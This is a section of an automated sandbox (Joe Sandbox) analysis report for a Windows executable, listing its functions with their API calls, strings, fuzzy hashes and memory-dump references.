Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction ID: 8e74601da509eabb9dfb46bf47ef97c58fccfe75a68545ddde8bc83d2b0c3dbe
Opcode Fuzzy Hash: 176ab68ebee512dad0278907058cd855c5c44f8615b79807412a7d406b36e525
Instruction Fuzzy Hash: 60C08C21F06502C1DF089B2BC8C905C13A4BBA0B04F604034E12CC11A0EE2CD4FE9345

Function 00007FF6FE1BFA04 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6FE1BFA59

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction ID: dfa2150f0eab366929a52635024403f98e943e3bf713ee51644b64b616176b9c
Opcode Fuzzy Hash: c4d23aaef5024e3722ccbb242168b3e22d65bf63548bcaacbbf61b8d0a3ba7a1
Instruction Fuzzy Hash: D8F04454F0A20749FF58EA7799513F45A80AFF9B80F0C5430F92ECA3C2FE2CA6818210

Function 00007FF6FE1920D0 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,00000001,00007FF6FE19207E), ref: 00007FF6FE1920F6

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction ID: 4ddace2e5385fbd1188cf1cc798af9738d2dd2a97bd5aed425c64e97ab7cfc56
Opcode Fuzzy Hash: ccbd9008d2c4ce7168f8d058ff2f34620ae6bf54bfe45a0cbca9d6a6f1a7c065
Instruction Fuzzy Hash: F2F08C62E0868285FB24CB22E04127D2A61EBA4B78F484335F73D811D8EE28D8A5C300

Function 00007FF6FE1BD94C Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00007FF6FE1BD98A

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction ID: e14eed25e63ed3fd3ff63db42d2ec70fb54553b470298dc793d9353d2e44daae
Opcode Fuzzy Hash: 5fa632deebd8181b9f3ea37834cf4eccbda839d7d0d6f948310c23224b4a93e7
Instruction Fuzzy Hash: 7DF0DF51F0924B45FF6CEAA359516B51A90AFE87A0F485A30F97EC67C2FE2CA4808211

Non-executed Functions

Function 00007FF6FE18C2F0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 754fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FE18DE04: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FE18CF4B), ref: 00007FF6FE18DE27
Part of subcall function 00007FF6FE18DE04: GetLastError.KERNEL32 ref: 00007FF6FE18DE88
Part of subcall function 00007FF6FE18DE04: CloseHandle.KERNEL32 ref: 00007FF6FE18DE9B

wcscpy.LIBCMT ref: 00007FF6FE18CBC8
wcscpy.LIBCMT ref: 00007FF6FE18CBFE
CreateFileW.KERNEL32 ref: 00007FF6FE18CC38
DeviceIoControl.KERNEL32 ref: 00007FF6FE18CD01
CloseHandle.KERNEL32 ref: 00007FF6FE18CD12
GetLastError.KERNEL32 ref: 00007FF6FE18CD2E
RemoveDirectoryW.KERNEL32 ref: 00007FF6FE18CD7D
DeleteFileW.KERNEL32 ref: 00007FF6FE18CD88
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CE89
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CE8F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CE9B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEA1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEAD
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEB3
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEB9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CEC5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CECB
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CED1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE18CED7

Strings

\??\, xrefs: 00007FF6FE18C392, 00007FF6FE18C3B8
SeRestorePrivilege, xrefs: 00007FF6FE18C343
SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6FE18C34F
UNC\, xrefs: 00007FF6FE18C53F, 00007FF6FE18C55D

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseErrorFileHandleLastwcscpy$ControlCreateCurrentDeleteDeviceDirectoryProcessRemove
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2659423929-3508440684
Opcode ID: 728ca5c511583d96efffbafc78ffbc9d028dc1943734bb9c87de0126960d7cef
Instruction ID: 9c8f303274d7f5564431f23d28781a96cc1276625833bb696a3f8f047e3e0fe8
Opcode Fuzzy Hash: 728ca5c511583d96efffbafc78ffbc9d028dc1943734bb9c87de0126960d7cef
Instruction Fuzzy Hash: 18629162F0864285FB00DB76D4442AD2B61ABE57A4F504332FA7D97AE5EF3CE685C301

Function 00007FF6FE19F180 Relevance: 43.2, APIs: 22, Strings: 2, Instructions: 1205COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF6FE1A0528

Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB67
Part of subcall function 00007FF6FE19AAE0: LoadStringW.USER32 ref: 00007FF6FE19AB80

Part of subcall function 00007FF6FE1AB0DC: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,00007FF6FE1A0429), ref: 00007FF6FE1AB110
Part of subcall function 00007FF6FE1AB0DC: SetLastError.KERNEL32 ref: 00007FF6FE1AB153

Part of subcall function 00007FF6FE18129C: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6FE181396

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A0490
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A0496
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A049C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04A2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04A8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04AE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04B4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04BA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04C0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04C6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04CC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04D2
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04D8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04DE
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04E4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04EA
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04F0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A04F6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A0532
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE1A0538

Strings

%s: %s, xrefs: 00007FF6FE19FC11
%ls, xrefs: 00007FF6FE19F3AC, 00007FF6FE19F3FF

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$ErrorLastLoadString$Concurrency::cancel_current_taskInit_thread_footer
String ID: %ls$%s: %s
API String ID: 2539828978-2259941744
Opcode ID: b94a3b4d4ee99872e46ecaca9b73eb32f2d8f4e98bb6d8a8cc0fe3901ec98d03
Instruction ID: dbe53ad7f3d9dad417b5922559726cae02c5926f750c0d8bdc43a0601712a1c4
Opcode Fuzzy Hash: b94a3b4d4ee99872e46ecaca9b73eb32f2d8f4e98bb6d8a8cc0fe3901ec98d03
Instruction Fuzzy Hash: 7CB25362E5968281EB14DB26D4542BE6712BFE9790F104336F6BD877EAFE2CE544C300

Function 00007FF6FE1C2550 Relevance: 22.3, APIs: 8, Strings: 4, Instructions: 1310COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1C2C12
memcpy_s.LIBCMT ref: 00007FF6FE1C35BF
memcpy_s.LIBCMT ref: 00007FF6FE1C3666

Part of subcall function 00007FF6FE1C38BC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1C38EE

memcpy_s.LIBCMT ref: 00007FF6FE1C372F

Part of subcall function 00007FF6FE1BD008: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BD02D

Strings

1#SNAN, xrefs: 00007FF6FE1C37C9
1#IND, xrefs: 00007FF6FE1C37AA
1#QNAN, xrefs: 00007FF6FE1C37E8
1#INF, xrefs: 00007FF6FE1C3807

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 1759834784-2761157908
Opcode ID: c1568b5568d689d261f1f0b975b9c1104ab10acfc5286cd5346a40821ab4f9bc
Instruction ID: 91dcdd20e514a0a4736bf5b824c73730430177f71781f43a52df62bb39a82979
Opcode Fuzzy Hash: c1568b5568d689d261f1f0b975b9c1104ab10acfc5286cd5346a40821ab4f9bc
Instruction Fuzzy Hash: 8CB2E872F085928BE725CE6A9440AFD2B91FBE4788F505135EA2AD7BC4EF38E544C740

Function 00007FF6FE191A48 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 375fileCOMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNEL32 ref: 00007FF6FE191A97
GetLongPathNameW.KERNEL32 ref: 00007FF6FE191AE0
GetShortPathNameW.KERNEL32 ref: 00007FF6FE191B21
GetShortPathNameW.KERNEL32 ref: 00007FF6FE191B6A

Part of subcall function 00007FF6FE1A13C4: CompareStringW.KERNEL32 ref: 00007FF6FE1A13E3

MoveFileW.KERNEL32 ref: 00007FF6FE191DFE
MoveFileW.KERNEL32 ref: 00007FF6FE191E65

Part of subcall function 00007FF6FE192134: CreateFileW.KERNEL32 ref: 00007FF6FE19223C

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191FE1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191FE7
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE191FED

Strings

rtmp, xrefs: 00007FF6FE191CF4, 00007FF6FE191D03

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: NamePath$File_invalid_parameter_noinfo_noreturn$LongMoveShort$CompareCreateString
String ID: rtmp
API String ID: 3587137053-870060881
Opcode ID: 5e507f6e96efdb11ced4af7afdc0703881383effb4b77f0e0126ffc0c5db1fa5
Instruction ID: ea579755d51b7d0e0367e320aee085b30f892930591340c25655facdc3377413
Opcode Fuzzy Hash: 5e507f6e96efdb11ced4af7afdc0703881383effb4b77f0e0126ffc0c5db1fa5
Instruction Fuzzy Hash: 98F17F22F08A4285FB10DB66D4801ED6B61EBE57D4F501132FA6D87AE9EF3CE588C740

Function 00007FF6FE195B60 Relevance: 12.3, APIs: 8, Instructions: 256COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32 ref: 00007FF6FE195BC2
GetFullPathNameW.KERNEL32 ref: 00007FF6FE195C0E
GetFullPathNameW.KERNEL32 ref: 00007FF6FE195D2B
GetFullPathNameW.KERNEL32 ref: 00007FF6FE195D70
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE195EE0
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE195EE6
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE195EEC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE195EF2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: FullNamePath_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1693479884-0
Opcode ID: f4aab3d6a38d3a7c87b22c38f8e02ebac67e4094d45f76237e24e5c31d843a01
Instruction ID: d60728cd4378b041d2c9a0c2faa0b13102358e0e49a7b8c6c74ee12de384b8bc
Opcode Fuzzy Hash: f4aab3d6a38d3a7c87b22c38f8e02ebac67e4094d45f76237e24e5c31d843a01
Instruction Fuzzy Hash: 2BA1C462F15B5184FF10CB7A98441BD6761ABE9BE4B544231EE3EA7BD9EE3CE041C210

Function 00007FF6FE1B3170 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF6FE1B318C
RtlCaptureContext.KERNEL32 ref: 00007FF6FE1B31B9
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FE1B31D3
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FE1B3214
IsDebuggerPresent.KERNEL32 ref: 00007FF6FE1B3268
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FE1B3289
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FE1B3294

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction ID: 8a26d1c085423c088708607d26c49a4db96ebb439572d2060f7d30810241128b
Opcode Fuzzy Hash: eb4060bcbbf6947450414bc0ac192b8da1feec02df413969c5a674799d26ef14
Instruction Fuzzy Hash: 50318D72A08B818AEB60CF65E8903ED7764FB94744F44503AEA5D83B88EF7CD149C700

Function 00007FF6FE1B76D8 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF6FE1B7751
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF6FE1B7769
RtlVirtualUnwind.KERNEL32 ref: 00007FF6FE1B77A4
IsDebuggerPresent.KERNEL32 ref: 00007FF6FE1B77DD
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF6FE1B77E7
UnhandledExceptionFilter.KERNEL32 ref: 00007FF6FE1B77F2

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction ID: 8732b13a0cc415737a5ff1caa385a671654156454c650ce71812a0dbf8f78c01
Opcode Fuzzy Hash: 5940ef1d6d2c32beaf7af9e8e0892e721e3d30544378453b8f42f9f5775f8da8
Instruction Fuzzy Hash: 26314F32A08B8185DB60CF66E8402EA77A4FBD8754F541136FA9D83B99EF38D555C700

Function 00007FF6FE181AA4 Relevance: 6.3, APIs: 4, Instructions: 285COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181EA9
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181EAF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181EB5
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6FE181EBB

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: de64f728d12beaa22573aa5c8c3373be7786903fe8bc75938e9b5cbc412359fd
Instruction ID: c41d794f06c531fc8b17106da89386c6432ced59b4a456ae420d3a86ba181a9c
Opcode Fuzzy Hash: de64f728d12beaa22573aa5c8c3373be7786903fe8bc75938e9b5cbc412359fd
Instruction Fuzzy Hash: 05B19063F18A8645EB10DB66D8442ED2761FBE5794F405232FA6D87BD9EF2CD644C300

Function 00007FF6FE1BFA94 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6FE1BFAC4

Part of subcall function 00007FF6FE1B7934: GetCurrentProcess.KERNEL32(00007FF6FE1C0CCD), ref: 00007FF6FE1B7961

Strings

., xrefs: 00007FF6FE1BFEE4
*?, xrefs: 00007FF6FE1BFAEB

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1E4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685627077.00007FF6FE1EE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6fe180000_file.jbxd

Similarity

API ID: CurrentProcess_invalid_parameter_noinfo
String ID: *?$.
API String ID: 2518042432-3972193922
Opcode ID: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction ID: 6827ca9ebd94436ec87e969a7626813ba836636d8ac0dc1fcea2b64c5b17856c
Opcode Fuzzy Hash: f96344909874f118cd7fc652812aee2de17a0b901a5c412331694f6fbd6e8fc4
Instruction Fuzzy Hash: B851F466F15A9541EB14DFA799104B86BA4FBA8BD8B444531EE2D97BC5EF3CD042C300

Function 00007FF6FE1C2080 Relevance: 4.8, APIs: 3, Instructions: 340COMMONLIBRARYCODE

Download Yara Rule

APIs

memcpy_s.LIBCMT ref: 00007FF6FE1C210B

Memory Dump Source

Source File: 00000000.00000002.1684667266.00007FF6FE181000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6FE180000, based on PE: true

Associated: 00000000.00000002.1684493142.00007FF6FE180000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1684871823.00007FF6FE1C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1685300240.00007FF6FE1DB000.00000004.00000001.01000000.00000003.sdmpDownload File
